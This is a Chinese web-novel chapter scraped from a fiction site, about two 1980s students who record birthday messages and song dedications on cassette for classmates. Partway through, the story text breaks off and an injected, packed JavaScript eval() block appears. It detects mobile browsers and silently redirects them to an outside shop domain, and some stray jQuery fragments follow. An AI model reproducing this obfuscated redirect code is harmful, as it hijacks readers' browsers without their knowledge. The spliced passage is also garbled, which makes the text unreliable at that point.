文趣网 > 都市小说 > 八零旧巷有回声 > 11. 五毛钱一首歌
    周念安原本以为,那张纸条只是偶然。

    结果第二节课下课,她的练习册里又多了三张纸。

    一张写得端端正正:

    我想给我爸点《弯弯的月亮》,他夜班回来总说睡不着。能不能录一小段,不用广播。

    一张写得歪七扭八:

    给高二三班穿绿毛衣的女同学,告诉她昨天汽水钱不是我赖账,是我真没带。

    最后一张更离谱,只有一句:

    梁潮生欠我两毛辣条钱,帮我广播一下。

    周念安看完,沉默了很久。

    梁潮生正趴在后排补觉,脸埋在胳膊里,半点没有昨日“修广播英雄”的自觉。阳光从窗户照进来,落在他后颈那一小截皮肤上,照得人看起来很安静。

    周念安拿着那三张纸走过去,在他桌上轻轻一敲。

    梁潮生没醒。

    她又敲了一下。

    还是没醒。

    周念安把最后那张纸放到他耳边,念:“梁潮生欠我两毛辣条钱——”

    梁潮生猛地抬头。

    “造谣。”他说。

    “你醒得挺准。”

    他揉了揉脸,声音还带着困意:“我可以欠汽水钱,不能欠辣条钱。辣条多没面子。”

    “重点是这个?”

    “钱的事都很重点。”梁潮生抽过纸条看了看,笑了,“谁写的?字这么丑,像潮平左手练的。”

    周念安把另外两张也放下。

    梁潮生一张张看完,眉梢慢慢挑起来。

    “还真有人找我们点歌?”

    “是找你。”

    “怎么是找我?你也在纸条里。”

    “我没有收钱录磁带的打算。”

    梁潮生立刻坐直:“谁说要收钱?”

    周念安看着他。

    他被她看了两秒,改口:“当然,稍微收一点材料费,也不是不可以。”

    周念安就知道。

    她把纸条收回来:“不许用学校广播。”

    “我也没说用。”梁潮生往椅背上一靠,“昨天闹成那样,主任现在看见话筒都想给它上锁。我还没活腻。”

    “也不许乱录。”

    “什么叫乱录?”

    “不能点名羞辱别人,不能造谣,不能替别人告白让对方难堪,不能借机骂老师,不能传闲话。”周念安一条条说,“如果是给家里人、朋友或者同学留话,可以录。但要写清楚给谁,内容大概是什么。”

    梁潮生听得直笑。

    “周同学,你知道你现在像什么吗?”

    “什么?”

    “像刚开张就制定厂规的厂长。”

    周念安把练习册合上:“那你就是违规操作的小工。”

    梁潮生笑得趴回桌上。

    前排有人回头看他们。

    周念安立刻站直,脸上恢复了平时那副好学生表情。

    梁潮生瞥见她变脸,笑意更重。

    上午第四节课刚下,事情就传开了。

    不知道谁说周念安和梁潮生可以帮人录磁带,于是中午还没到,高三一班窗台上就堆了七八张纸条。有人写得认真,有人写得像诈骗,有人甚至塞了两毛钱和一颗大白兔。

    梁潮生捏着那颗大白兔,啧了一声。

    “这位同学很有诚意。”

    周念安把糖从他手里拿回来,放进信封:“不收东西。”

    “人家给的是定金。”

    “不收。”

    “那收什么?”

    “纸条。”

    梁潮生看着空空如也的手心,叹气:“周厂长,咱们这买卖照你这么干,早晚倒闭。”

    “本来也不是买卖。”

    “那是什么?”

    周念安停了一下。

    她低头看那些纸条。

    有的纸上沾了墨水,有的边角被揉得起皱,有的只写了两句话,却改了好几遍。那些不敢当面说的话,就这样被塞进窗台缝里、练习册里、书包口袋里,皱巴巴地凑到他们面前。

    她说:“是别人交给我们的声音。”

    梁潮生原本还笑着,听见这句,笑慢慢停了。

    过了会儿,他把桌上的纸条拢过来,语气轻了一点:“行。那声音也得编号吧?不然丢了算谁的?”

    周念安从书包里拿出一本旧作业本。

    封皮是蓝色的,边角磨白,里面还有几页没用完的作文草稿。她翻到空白页,在第一行写下四个字:

    回声点歌本

    梁潮生凑过来看。

    “名字挺正经。”

    “你有意见?”

    “没有。”他说,“就是觉得少了点江湖气。”

    “你想叫什么?”

    “旧巷第一秘密电台。”

    周念安抬头看他。

    梁潮生摸了摸鼻子:“行,当我没说。”

    周念安在本子上画了几列。

    编号,点给谁,内容,是否公开,是否录成磁带,备注。

    梁潮生看得头皮发麻:“你平时连作业本都这么管?”

    “这样不会乱。”

    “人生就是要乱一点才热闹。”

    “你的书包已经替你热闹过了。”

    梁潮生低头看一眼自己书包。里头半截电线露出来,磁带盒压着物理书,物理书上还夹着一枚螺丝。

    他把书包往桌肚里一塞:“它比较自由。”

    中午,两人去了红叶照相馆后门。

    梁潮生平时替韩师傅修机器,暗房旁边有一小间杂物屋,堆着坏收音机、空相框、旧三脚架和几卷过期相纸。韩师傅嫌他们占地方,嘴上骂骂咧咧,手却把角落一张小桌子擦了出来。

    “录可以,别把我照相馆录塌了。”

    梁潮生把自己的录音机放桌上:“韩叔,您这屋顶比主任脾气结实。”

    “少拿我跟你们主任比。”

    韩师傅拎着茶缸走了,走到门口又回头:“要是有人录生日祝福,别整得跟追悼会似的。年轻人说话要有点活气。”

    第一张纸条的主人很快来了。

    是高三二班的赵卫东。

    个子不高,脸圆,平时在操场上跑得最快,一紧张就挠头。他站在杂物屋门口,手里捏着五毛钱,捏得皱巴巴。

    “我妈今天生日。”他说,“她在厂食堂打饭,嗓门特别大。我想给她录一句话。”

    梁潮生伸手:“稿子。”

    赵卫东把纸递过来。

    上面写着:

    妈,生日快乐。你辛苦了。

    八个字。

    梁潮生看完,抬头:“没了?”

    赵卫东涨红脸:“还要什么?”

    “你妈养你这么大,就值八个字?”

    赵卫东急了:“不是!我就是……不会说。”

    周念安接过纸,看了看,问:“你平时想跟她说什么?”

    赵卫东挠头:“让她别老偷着把肉给我,自己吃白菜。她总说不爱吃肉,其实她爱吃红烧肉。”

    他说到这里,脸更红了。

    “还有,她每天早上四点半去食堂,冬天手都冻裂了。我让她买蛤蜊油,她说浪费钱。”

    梁潮生把录音机推过去:“这不挺会说吗?照这个说。”

    赵卫东立刻摆手:“不行不行,说不出口。”

    “说不出口才录磁带。”梁潮生按下录音键,“来,三、二——”

    “等一下!”赵卫东吓得往后退。

    周念安把录音键按停。

    她看梁潮生:“你别吓他。”

    梁潮生无辜:“我很温柔。”

    “你像要逼供。”

    韩师傅在外头听见,笑得茶水差点呛出来。

    最后还是周念安给赵卫东整理了一小段话。

    不华丽,也不长。

    她写完递过去。

    赵卫东捧着纸,低声念了两遍,第三遍终于坐到录音机前。

    梁潮生按下键。

    磁带开始转。

    赵卫东的声音一开始抖得厉害。

    “妈,生日快乐。我是卫东。”

    他说到这里,停了一下,眼睛有点红。

    “你别老说自己不爱吃肉,我知道你爱吃。明天我不吃食堂那块红烧肉了,你自己吃。还有,蛤蜊油不贵,我攒钱给你买,你别嫌浪费。”

    杂物屋里安静下来。

    周念安垂着眼,没有看他。

    梁潮生也没笑。

    赵卫东最后说:“妈,你别总说我长不高。我以后肯定还能长。等我长高了,我给你扛煤气罐。”

    录完,他自己先不好意思了。

    “这句能不能剪掉?”

    梁潮生把磁带退出来,往盒子里一放:“不能,精华。”

    赵卫东急了:“太丢人了!”

    周念安说:“不丢人。”

    赵卫东看她。

    她把磁带盒贴上标签,写下编号一,又写:给食堂赵姨,生日。

    “你妈妈会喜欢。”

    赵卫东耳朵红得像刚出锅的虾,丢下五毛钱就跑。

    梁潮生捏起那五毛钱。

    周念安看他。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697769|208021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    他立刻把钱放进旧铁盒里:“材料费,绝不乱花。”

    “最好是。”

    “你不信我?”

    “你昨天还欠别人两毛辣条钱。”

    “那是谣言。”

    两人正说着,外面忽然传来一阵吵闹。

    赵卫东刚跑到巷口,就被一个高个男生拦住。那人抢过他手里的磁带盒,笑嘻嘻地举起来:“哟,给谁录的?不会是给哪个姑娘吧?”

    赵卫东急得去抢:“还给我!”

    对方偏不给,旁边几个男生跟着起哄。

    梁潮生脸上的笑立刻没了。

    他抬脚往外走。

    周念安比他更快。

    她走到那群人面前,伸手:“还给他。”

    高个男生一看是她,笑得更来劲:“周念安,你也管这个?你和梁潮生现在真开电台了?”

    周念安没生气,只看着他:“你叫什么?”

    男生愣了一下:“干嘛?”

    “登记。”周念安说,“抢别人东西,损坏磁带,影响同学正常生活。我要写给李老师。”

    男生脸色变了:“不是,我就开个玩笑。”

    “玩笑要别人觉得好笑才算。”

    梁潮生靠在门边,听见这句,挑了下眉。

    高个男生被她看得发虚,最后把磁带塞回赵卫东手里,嘴里还嘟囔:“不就一盘破磁带。”

    赵卫东抱着磁带,眼眶还红着。

    梁潮生忽然开口:“下回再抢,我给你录一盘《高三某某同学欠揍纪实》,全巷传阅。”

    男生跑得飞快。

    赵卫东小声说:“谢谢。”

    周念安说:“磁带是你的,不用给别人看。”

    赵卫东点点头,跑了。

    梁潮生看着他背影:“周厂长,第一条规矩又来了。”

    周念安回到桌边,在点歌本第一页写下:

    未经本人同意,任何录音不得公开。

    梁潮生凑过去:“这条好。”

    “你记住。”

    “我这么守规矩的人——”

    周念安抬眼。

    梁潮生把后半句咽回去:“行,我努力。”

    傍晚放学前,赵卫东的妈妈来过一趟红叶照相馆。

    她是个胖乎乎的女人,围裙上还沾着食堂油烟味。她没有进门,只站在门口,眼睛红红地问:“哪个是梁潮生?哪个是周念安?”

    梁潮生以为出了事,刚想上前,赵姨从兜里掏出两个还热着的茶叶蛋。

    “我家那小子说,是你们帮他录的。”她把茶叶蛋往两人手里一塞,“拿着,别嫌。”

    周念安想拒绝。

    赵姨已经转身走了,走出几步又回头,骂了一句:“这傻小子,还说以后给我扛煤气罐。他那小身板,先把自己长明白再说。”

    她嘴上骂,眼睛却红得更厉害。

    梁潮生捧着茶叶蛋,轻轻笑了一声。

    “周念安。”

    “嗯?”

    “这买卖好像能干。”

    周念安把茶叶蛋放进书包侧袋,纠正他:“不是买卖。”

    梁潮生看着她,没再反驳。

    夕阳落在红叶照相馆的橱窗上,玻璃里映出两人的影子。一个站得笔直,一个歪歪靠着门框,中间隔着一张旧桌子,一台录音机,一本蓝封皮作业本。

    那本子摊在桌上。

    第一页,周念安写的字清秀端正。

    回声点歌本。

    梁潮生想了想,在下面又添了一行小字。

    五毛钱一首,熟人不赊。

    周念安看见后,沉默三秒。

    然后拿起笔,把后半句划掉。

    梁潮生立刻抗议:“你怎么改我稿?”

    “你的稿不合格。”

    “那前半句呢?”

    周念安低头看着“五毛钱一首”几个字。

    过了会儿,她没有划。

    梁潮生眼睛亮了:“这算通过?”

    “材料费。”她说。

    “懂,周厂长。”

    窗外有人骑车经过,车铃叮铃一响。

    旧巷里的傍晚热闹起来,锅铲声、叫卖声、小孩追打声,从一家家窗口里漏出来。昨天那些沉甸甸的磁带和旧照好像暂时退到了远处。

    可就在两人准备收拾东西时,点歌本里忽然掉出一张新纸条。

    不知道什么时候被人夹进去的。

    纸条上没有署名。

    只有一句话:

    我想点一首歌,给两年前没能离开的孟小舟。